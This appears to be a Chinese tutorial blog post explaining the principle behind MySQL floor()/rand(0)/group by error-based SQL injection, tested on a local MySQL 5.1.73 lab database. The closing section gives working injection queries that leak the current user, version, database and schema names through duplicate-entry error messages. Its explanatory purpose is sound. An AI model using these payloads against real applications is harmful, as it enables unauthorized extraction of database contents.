mysql报错注入原理分析之floor()

环境：mysql 5.1.73

[root@localhost ~]# mysql --version
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#

1.首先普及几个mysql里面的函数

1. floor()

• 在mysql里面floor()函数是取整(注意：不是四舍五入)，下面实际操作验证一下

mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

图片.png

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> 

图片.png

事实证明上面说的没毛病

2. group by

• group by 我的理解是分组查询，根据一个列或者多个列，值相等的在一起

• 下面实际操作理解一下，首先在数据库test里面创建一张test表

mysql> CREATE TABLE IF NOT EXISTS `test`(
    ->    `id` INT AUTO_INCREMENT PRIMARY KEY,
    ->    `name` VARCHAR(100) NOT NULL,
    ->    `number` INT NOT NULL,
    ->    `content` VARCHAR(100)
    -> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)

mysql> 

图片.png

• 然后在test表中插入一些数据

mysql> insert into test
    -> (name,number,content)
    -> values
    -> ('aa',2,'11'),
    -> ('aa',3,'22'),
    -> ('bb',4,'33'),
    -> ('bb',5,'44'),
    -> ('bb',5,'55'),
    -> ('cc',6,'66'),
    -> ('cc',6,'77'),
    -> ('dd',2,'88'),
    -> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9  Duplicates: 0  Warnings: 0

mysql> 

图片.png

mysql> select * from test;

图片.png

• 接下来进行我们的探索

mysql> select * from test group by name;

图片.png

通过比较，可以看出通过group by将字段name相同的进行分组查询，注意这个地方不要看其他内容，单纯理解一下这个分组的意思

• 然后我们接着来看，上面不是说了分组的含义吗？其实数据库在执行group by时候创建了一张虚拟的表，是知道name这个字段相同的有几条结果的，如下图测试说明：

图片.png

3. rand()

• 在mysql里面rand()函数是随机产生一个范围(0,1)的随机数**

图片.png

• 那么有人也许有疑问，随机产生的值有规律吗？为了验证猜想，下面找一个数据量比较大的表information_schema.tables测试一下，这里我只取30条数据实验

mysql> select rand() from information_schema.tables limit 0,30;

图片.png

首先可以查看到每一条都是随机产生的浮点型值，而且这条sql语句经过多次执行发现，每一次执行结果也是随机的，由此可以得出此时rand()是真随机.

• 这样看起来是不是有点累，开始的时候我首先普及了一个floor()取整函数，那么接下来我们可以这样做，会更清晰，更直观.

mysql> select floor(rand()) from information_schema.tables limit 0,30;

图片.png

这样看是不是就这清晰直观明了，但是有人又有疑问了吧，为什么都是0呢，不是随机的吗，别忘了我们rand()随机范围(0,1)，也就是随机出来的都是小于1的小数，然后floor()取整后可不都是0吗，这样看着方便了，但是却看不到随机性了，那好我们想个办法继续往下看。

mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

图片.png

这步看着应该不难理解吧，就是将随机范围(0,1)扩大2倍变成(0,2),这样随机值是不是有0点多的、1点多的,然后取整就可以清晰简单的研究其规律。经过多次执行这条语句发现：是没有规律的。这和之前没取整说的真随机是一样的。

• 既然rand()是没有规律的，我们怎么研究？报错注入我们谷歌百度发现都是rand(0)，那好，我们在试一试有随机因子是什么情况

mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;

图片.png

经过多次执行这条语句，你会发现这是一个规律，每次随机结果和这个一模一样

2.有了上面讲的基础知识，我们接下来就真正的研究下报错注入

• 首先看一条报错的sql语句

mysql> select count(*) from test.test group by floor(rand(0)*2);

图片.png

可以看到报错显示位'1'，这个错误就是由于主键不能重复而暴出的错误

• 接下来一步一步分析一下这个过程
  (1).首先查询之前会默认建立一张空的虚拟表，如下图所示：

图片.png

(2).取第一条记录，执行floor(rand(0)*2)，发现结果为0(第一次计算),查询虚拟表，发现0的键值不存在，则floor(rand(0)*2)会被再计算一次，结果为1(第二次计算)，插入虚表，这时第一条记录查询完毕，如下图:

图片.png

(3).查询第二条记录，再次计算floor(rand(0)*2)，发现结果为1(第三次计算)，查询虚表，发现1的键值存在，所以floor(rand(0)*2)不会被计算第二次，直接count(*)加1，第二条记录查询完毕，结果如下:

图片.png

(4).查询第三条记录，再次计算floor(rand(0)*2)，发现结果为0(第4次计算)，查询虚表，发现键值没有0，则数据库尝试插入一条新的数据，在插入数据时floor(rand(0)*2)被再次计算，作为虚表的主键，其值为1(第5次计算)，然而1这个主键已经存在于虚拟表中，而新计算的值也为1(主键键值必须唯一)，所以插入的时候就直接报错了。

(5).整个查询过程floor(rand(0)*2)被计算了5次，这也是开始说让记住前5个值（01101）的缘故了查询原数据表3次，所以这就是为什么数据表中需要3条数据，使用该语句才会报错的原因。

3.利用mysql报错手法

• 首先收集基本收据库信息

mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql> 

图片.png

• 然后试试暴库

mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql> 

图片.png

• ok没毛病，就是这样利用的往下就不再多说。